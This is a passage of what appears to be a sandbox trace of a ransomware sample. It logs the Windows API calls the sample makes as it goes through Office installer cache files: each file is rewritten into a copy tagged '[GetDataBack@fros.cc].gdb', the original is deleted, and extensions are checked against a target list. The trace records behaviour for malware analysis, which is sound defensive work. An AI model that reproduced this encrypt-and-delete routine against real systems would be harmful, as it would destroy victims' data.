(lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0116.033] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0116.033] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0116.033] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0116.034] GetLastError () returned 0x0 [0116.034] ReadFile (in: hFile=0x19c, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x6a3b, lpOverlapped=0x0) returned 1 [0116.037] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x6a40, lpOverlapped=0x0) returned 1 [0116.038] ReadFile (in: hFile=0x19c, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0116.039] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xe8, lpOverlapped=0x0) returned 1 [0116.039] SetEndOfFile (hFile=0x1a0) returned 1 [0116.039] CloseHandle (hObject=0x1a0) returned 1 [0116.040] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0116.040] SetEndOfFile (hFile=0x19c) returned 1 [0116.041] CloseHandle (hObject=0x19c) returned 1 [0116.041] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0116.042] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 1 [0116.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0116.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0116.042] lstrlenW (lpString=".doc") returned 4 [0116.042] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0116.042] lstrlenW (lpString=".docx") returned 5 [0116.042] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0116.042] lstrlenW (lpString=".pdf") returned 4 [0116.042] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0116.042] lstrlenW (lpString=".xls") returned 4 [0116.042] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0116.042] lstrlenW (lpString=".xlsx") returned 5 [0116.042] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0116.042] lstrlenW (lpString=".ppt") returned 4 [0116.042] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0116.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0116.042] lstrlenW (lpString=".zip") returned 4 [0116.042] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0116.042] lstrlenW (lpString=".rar") returned 4 [0116.042] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0116.042] lstrlenW (lpString=".bz2") returned 4 [0116.042] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0116.042] lstrlenW (lpString=".7z") returned 3 [0116.042] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0116.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0116.043] lstrlenW (lpString=".dbf") returned 4 [0116.043] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0116.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0116.043] lstrlenW (lpString=".1cd") returned 4 [0116.043] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0116.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0116.043] lstrlenW (lpString=".jpg") returned 4 [0116.043] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0116.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0116.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0116.043] lstrlenW (lpString=".doc") returned 4 [0116.043] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0116.043] lstrlenW (lpString=".docx") returned 5 [0116.043] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0116.043] lstrlenW (lpString=".pdf") returned 4 [0116.043] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0116.043] lstrlenW (lpString=".xls") returned 4 [0116.043] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0116.043] lstrlenW (lpString=".xlsx") returned 5 [0116.043] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0116.043] lstrlenW (lpString=".ppt") returned 4 [0116.043] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0116.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0116.043] lstrlenW (lpString=".zip") returned 4 [0116.043] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0116.043] lstrlenW (lpString=".rar") returned 4 [0116.043] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0116.043] lstrlenW (lpString=".bz2") returned 4 [0116.043] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0116.043] lstrlenW (lpString=".7z") returned 3 [0116.043] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0116.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0116.043] lstrlenW (lpString=".dbf") returned 4 [0116.043] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0116.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0116.043] lstrlenW (lpString=".1cd") returned 4 [0116.043] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0116.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0116.044] lstrlenW (lpString=".jpg") returned 4 [0116.044] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0116.044] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0116.044] lstrlenW (lpString="Setup.xml") returned 9 [0116.044] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0116.044] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=2624) returned 1 [0116.044] CloseHandle (hObject=0x19c) returned 1 [0116.044] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0116.044] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0116.044] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0116.045] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0116.045] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0116.045] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0116.045] GetLastError () returned 0x0 [0116.045] ReadFile (in: hFile=0x19c, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0xa40, lpOverlapped=0x0) returned 1 [0116.047] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xa50, lpOverlapped=0x0) returned 1 [0116.048] ReadFile (in: hFile=0x19c, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0116.048] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xe6, lpOverlapped=0x0) returned 1 [0116.048] SetEndOfFile (hFile=0x1a0) returned 1 [0116.048] CloseHandle (hObject=0x1a0) returned 1 [0116.049] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0116.049] SetEndOfFile (hFile=0x19c) returned 1 [0116.050] CloseHandle (hObject=0x19c) returned 1 [0116.050] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0116.050] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0116.051] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.051] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.051] lstrlenW (lpString=".doc") returned 4 [0116.051] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.051] lstrlenW (lpString=".docx") returned 5 [0116.051] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0116.052] lstrlenW (lpString=".pdf") returned 4 [0116.052] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.052] lstrlenW (lpString=".xls") returned 4 [0116.052] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.052] lstrlenW (lpString=".xlsx") returned 5 [0116.052] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0116.052] lstrlenW (lpString=".ppt") returned 4 [0116.052] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.052] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.052] lstrlenW (lpString=".zip") returned 4 [0116.052] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.052] lstrlenW (lpString=".rar") returned 4 [0116.052] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.052] lstrlenW (lpString=".bz2") returned 4 [0116.052] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.052] lstrlenW (lpString=".7z") returned 3 [0116.052] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.052] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.052] lstrlenW (lpString=".dbf") returned 4 [0116.052] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.052] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.052] lstrlenW (lpString=".1cd") returned 4 [0116.052] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.052] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.052] lstrlenW (lpString=".jpg") returned 4 [0116.052] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.053] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.053] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.053] lstrlenW (lpString=".doc") returned 4 [0116.053] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.053] lstrlenW (lpString=".docx") returned 5 [0116.053] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0116.053] lstrlenW (lpString=".pdf") returned 4 [0116.053] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.053] lstrlenW (lpString=".xls") returned 4 [0116.053] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.053] lstrlenW (lpString=".xlsx") returned 5 [0116.053] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0116.053] lstrlenW (lpString=".ppt") returned 4 [0116.053] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.053] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.053] lstrlenW (lpString=".zip") returned 4 [0116.053] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.053] lstrlenW (lpString=".rar") returned 4 [0116.053] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.053] lstrlenW (lpString=".bz2") returned 4 [0116.053] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.053] lstrlenW (lpString=".7z") returned 3 [0116.053] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.053] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.053] lstrlenW (lpString=".dbf") returned 4 [0116.053] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.053] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.053] lstrlenW (lpString=".1cd") returned 4 [0116.053] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.053] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.160] lstrlenW (lpString=".jpg") returned 4 [0116.160] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.160] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0116.160] lstrlenW (lpString="ProPlusrWW.xml") returned 14 [0116.160] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0116.378] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=16852) returned 1 [0116.378] CloseHandle (hObject=0x1c4) returned 1 [0116.378] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 0x2020 [0116.378] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0116.378] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0116.378] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0116.378] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0116.378] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0116.378] GetLastError () returned 0x0 [0116.378] ReadFile (in: hFile=0x1c4, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x41d4, lpOverlapped=0x0) returned 1 [0116.409] WriteFile (in: hFile=0x1c8, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x41e0, lpOverlapped=0x0) returned 1 [0116.411] ReadFile (in: hFile=0x1c4, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0116.411] WriteFile (in: hFile=0x1c8, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xf0, lpOverlapped=0x0) returned 1 [0116.411] SetEndOfFile (hFile=0x1c8) returned 1 [0116.411] CloseHandle (hObject=0x1c8) returned 1 [0116.412] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0116.412] SetEndOfFile (hFile=0x1c4) returned 1 [0116.413] CloseHandle (hObject=0x1c4) returned 1 [0116.413] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0116.413] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 1 [0116.413] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0116.414] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0116.414] lstrlenW (lpString=".doc") returned 4 [0116.414] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.414] lstrlenW (lpString=".docx") returned 5 [0116.414] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0116.414] lstrlenW (lpString=".pdf") returned 4 [0116.414] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.414] lstrlenW (lpString=".xls") returned 4 [0116.414] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.414] lstrlenW (lpString=".xlsx") returned 5 [0116.414] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0116.414] lstrlenW (lpString=".ppt") returned 4 [0116.414] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.414] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0116.414] lstrlenW (lpString=".zip") returned 4 [0116.414] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.414] lstrlenW (lpString=".rar") returned 4 [0116.414] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.414] lstrlenW (lpString=".bz2") returned 4 [0116.414] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.414] lstrlenW (lpString=".7z") returned 3 [0116.414] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.414] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0116.414] lstrlenW (lpString=".dbf") returned 4 [0116.414] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.414] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0116.414] lstrlenW (lpString=".1cd") returned 4 [0116.414] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.414] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0116.414] lstrlenW (lpString=".jpg") returned 4 [0116.414] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0116.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0116.415] lstrlenW (lpString=".doc") returned 4 [0116.415] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.415] lstrlenW (lpString=".docx") returned 5 [0116.415] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0116.415] lstrlenW (lpString=".pdf") returned 4 [0116.415] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.415] lstrlenW (lpString=".xls") returned 4 [0116.415] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.415] lstrlenW (lpString=".xlsx") returned 5 [0116.415] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0116.415] lstrlenW (lpString=".ppt") returned 4 [0116.415] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0116.415] lstrlenW (lpString=".zip") returned 4 [0116.415] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.415] lstrlenW (lpString=".rar") returned 4 [0116.415] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.415] lstrlenW (lpString=".bz2") returned 4 [0116.415] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.415] lstrlenW (lpString=".7z") returned 3 [0116.415] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0116.415] lstrlenW (lpString=".dbf") returned 4 [0116.415] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0116.415] lstrlenW (lpString=".1cd") returned 4 [0116.415] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0116.415] lstrlenW (lpString=".jpg") returned 4 [0116.415] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.416] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0116.416] lstrlenW (lpString="VisiorWW.xml") returned 12 [0116.416] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0116.429] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=8723) returned 1 [0116.430] CloseHandle (hObject=0x1b4) returned 1 [0116.430] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 0x2020 [0116.430] GetFileAttributesW (lpFileName="C:\\MSOCache\\All 